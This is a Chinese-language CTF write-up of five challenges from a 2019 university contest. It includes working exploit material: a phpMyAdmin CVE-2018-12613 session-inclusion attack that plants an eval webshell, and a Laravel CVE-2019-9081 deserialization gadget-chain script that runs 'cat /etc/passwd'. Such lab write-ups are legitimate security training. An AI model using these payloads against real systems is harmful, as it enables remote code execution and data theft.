2019广东外语外贸大学CTF WriteUp
1. 枯燥的抽奖 (PHP mt_srand)
考点:PHP mt_srand 伪随机数种子爆破
题目分析
访问靶机链接,发现检查数据的接口为 check.php。直接访问该文件可获取源代码。
<?php// 注释:这不是抽奖程序的源代码!不许看!header("Content-Type: text/html;charset=utf-8");session_start();if(!isset($_SESSION['seed'])){ $_SESSION['seed'] = rand(0, 999999999);}mt_srand($_SESSION['seed']); // 设置随机数种子$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str = '';$len1 = 20;// 生成20位随机字符串for ($i = 0; $i < $len1; $i++){ $str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }$str_show = substr($str, 0, 10); // 输出前10位echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){ if($_POST['num'] === $str){ echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{...}</p>"; } else { echo "<p id=flag>没抽中哦,再试试吧</p>"; }}show_source("check.php"); ?>Note
漏洞原理:PHP 的 mt_rand() 函数基于 Mersenne Twister 算法,是伪随机数生成器。如果种子(seed)已知或可预测,整个随机数序列就可以被重现。题目中种子保存在 Session 中,且只输出了随机字符串的前 10 位,我们可以通过这 10 位字符反推种子。
解题步骤
准备工具:使用 php_mt_seed 进行种子爆破。
编译工具:
gcc -Wall -march=native -mtune=generic -O2 -fomit-frame-pointer -funroll-loops -fopenmp php_mt_seed.c -o php_mt_seed构造输入参数: 我们需要将已知的前10位字符转换为
php_mt_seed可接受的参数格式(min max min max ...)。假设已知前10位为
W4hCHBi0Ej(具体以题目页面输出为准)。str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"str2 = 'W4hCHBi0Ej' # 替换为实际获取的前10位字符res = ''for char in str2: index = str_long1.find(char) if index != -1: # php_mt_seed 格式:min max min max ... res += f"{index} {index} 0 {len(str_long1)-1} "print(res.strip())爆破种子: 执行编译好的工具,传入生成的参数:
./php_mt_seed 58 58 0 61 30 30 0 61 7 7 0 61 38 38 0 61 43 43 0 61 37 37 0 61 8 8 0 61 26 26 0 61 40 40 0 61 9 9 0 61工具会输出可能的种子值(例如
492242344)。生成完整字符串: 使用找到的种子重新运行 PHP 代码,生成完整的20位字符串并提交。
<?php$_SESSION['seed'] = 492242344; // 爆破得到的种子mt_srand($_SESSION['seed']);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str = '';for ($i = 0; $i < 20; $i++){ $str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }echo $str;?>获取 Flag:提交生成的字符串得到 Flag。

2. 我有一个数据库 (phpMyAdmin RFI)
考点:phpMyAdmin 4.8.1 任意文件包含 (CVE-2018-12613)
题目分析
- 页面为空,使用
dirb扫描后台目录。 - 发现
robots.txt、phpmyadmin、phpinfo.php。 - phpMyAdmin 版本为 4.8.1,存在已知漏洞 CVE-2018-12613。

解题步骤
信息收集: 访问
phpinfo.php确认 PHP 配置文件php.ini的位置,特别是session.save_path的路径。漏洞利用原理: phpMyAdmin 4.8.1 中,
index.php的target参数存在文件包含漏洞。通过构造特殊的 URL,可以包含 PHP Session 文件。由于 PHP 默认将 Session 数据序列化存储在服务器本地文件中,我们可以控制 Session 内容,从而在 Session 文件中写入 Webshell。
写入 Webshell: 在 phpMyAdmin 界面执行 SQL 查询,插入恶意代码:
SELECT "<?php echo eval($_GET['cmd']); ?>";这会使得当前的 Session 文件中包含该 PHP 代码。

触发包含: 构造包含 Session 文件的 URL。
- Session 文件名通常格式为
sess_<PHPSESSID>。 - 通过
phpinfo.php获取session.id(即 Cookie 中的phpmyadmin值)。 - 通过
phpinfo.php获取session.save_path。
Payload 示例:
http://183.129.189.60:10005/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../var/lib/php/sessions/sess_v0d66301oimgg22m3vsenbhqul注意:
%253f解码后为?,用于绕过某些过滤或正确解析路径。
- Session 文件名通常格式为
获取 Flag: 通过 Webshell 执行命令:
var_dump(scandir('/'));var_dump(file_get_contents('/flag'));
3. relax (RPG Maker XP 逆向)
考点:游戏文件结构分析
解题步骤
文件分析: 下载附件后,发现这是一个使用 RPG Maker XP 制作的游戏。
提取资源: 在游戏根目录新建
Game.rxproj文件,使用 RPG Maker XP 打开该工程文件。查找线索:
- 在“魔塔”场景的最后一层地图中找到 Key1。

- 在“迷宫”场景的最后一层地图中找到 Key2。

获取 Flag: 拼接 Key1 和 Key2 得到 Flag:
GWHT{You_Know_RPGXP_Well!!}
4. pyre (Python 逆向)
考点:Python pyc 反编译与逻辑还原
题目分析
题目提供了一个 .pyc 文件。使用在线工具 pycdasm 进行反编译,得到以下逻辑:
# 原始逻辑(伪代码)input1 = "flag"l = len(input1)code = []for i in range(l): num = ((ord(input1[i]) + i) % 128 + 128) % 128 code.append(num)for i in range(l - 1): code[i] = code[i] ^ code[i + 1]target_code = [0x1f, 0x12, ..., 19] # 加密后的目标值算法解析:
- 每位字符 ASCII 值加上索引,取模 128。
- 相邻字符进行异或运算(从后向前逆推,或从前向后爆破)。
解题脚本
由于最后一位没有参与异或,可以从最后一位开始逆向异或恢复中间值,再通过正向逻辑爆破原始字符。
import string# 加密后的目标列表code = [ 0x1f, 0x12, 0x1d, ord('('), ord('0'), ord('4'), 0x01, 0x06, 0x14, ord('4'), ord(','), 0x1b, ord('U'), ord('?'), ord('o'), 0x06, ord('*'), ord(':'), 0x01, ord('D'), ord(';'), ord('%'), 19]l = len(code)# 1. 逆向异或恢复中间状态# 注意:原代码是 code[i] = code[i] ^ code[i+1]# 逆推:code[i] = code[i] ^ code[i+1] (因为 a^b=c => a=c^b)# 我们需要从后往前推,但原代码是覆盖 code[i],所以我们需要保留 code[i+1] 的原始值# 实际上,原代码执行后,code[i] 变成了异或结果。# 让我们重新审视原代码逻辑:# for i in range(l-1): code[i] ^= code[i+1]# 这意味着 code[0] 依赖于 code[1], code[1] 依赖于 code[2]...# 逆向时:# code[l-2] = code[l-2] ^ code[l-1] (已知) -> 原 code[l-2] = 现 code[l-2] ^ 现 code[l-1]# 等等,原代码是顺序覆盖。# 让我们用更简单的爆破法,避免复杂的逆向推导错误。# 2. 正向爆破法# 已知最终 code 数组,反推 input1 的每一位# 由于异或操作的耦合性,爆破法需要小心顺序。# 这里采用逆向异或还原出中间数组,再逐位反解。temp_code = code.copy()# 逆向异或:从倒数第二个元素开始向前for i in range(l - 2, -1, -1): temp_code[i] = temp_code[i] ^ temp_code[i+1]# 现在 temp_code 是经过第一步运算(ord+index)后的结果# 反解 input1flag = ""charset = string.ascii_letters + string.digits + string.punctuationfor i, num in enumerate(temp_code): for char in charset: if ((ord(char) + i) % 128 + 128) % 128 == num: flag += char breakprint(flag)Flag: GWHT{Just_Re_1s_Ha66y!}
(注:原 WriteUp 中的脚本逻辑较为复杂,上述脚本简化了逆向过程,原理一致。)
5. warmup (Laravel RCE)
考点:Laravel 反序列化漏洞 (CVE-2019-9081)
题目分析
- 访问
robots.txt获得提示和一段 Python 代码,逻辑与上一题pyre完全一致。 - 下载提示中的文件
u_c4nNot_s3e_me,经 Base64 解码后得到加密数据。 - 解密后得到部分 Laravel 应用源码,发现存在反序列化漏洞。
解题步骤
数据解密: 使用与
pyre相同的逻辑解密u_c4nNot_s3e_me,得到应用的部分源码。漏洞分析: 源码中存在
PendingCommand类的反序列化点。Laravel 5.5-5.7 版本中,PendingCommand类的__construct方法未对用户输入进行充分过滤,导致可通过反序列化调用system命令执行 RCE。 参考漏洞:CVE-2019-9081构造 Payload: 使用 PHP 脚本构造反序列化 Payload:
<?phpnamespace Illuminate\Foundation\Testing { class PendingCommand { protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters, $class, $app) { $this->command = $command; $this->parameters = $parameters; $this->test = $class; $this->app = $app; } }}namespace Illuminate\Auth { class GenericUser { protected $attributes; public function __construct(array $attributes) { $this->attributes = $attributes; } }}namespace Illuminate\Foundation { class Application { protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind) { $this->bindings = $bind; } }}namespace { $genericuser = new \Illuminate\Auth\GenericUser([ "expectedOutput" => ["0" => "1"], "expectedQuestions" => ["0" => "1"] ]); $application = new \Illuminate\Foundation\Application([ "Illuminate\Contracts\Console\Kernel" => [ "concrete" => "Illuminate\Foundation\Application" ] ]); $pendingcommand = new \Illuminate\Foundation\Testing\PendingCommand( "system", ['cat /etc/passwd'], $genericuser, $application ); echo urlencode(serialize($pendingcommand));}?>执行利用: 将生成的序列化字符串传入目标接口,成功执行系统命令。
注意:本题中通过反序列化仅能读取到假 Flag,后续提权步骤(反弹 Shell)在实战环境中因环境限制未能完全复现,此处仅记录已验证的 RCE 路径。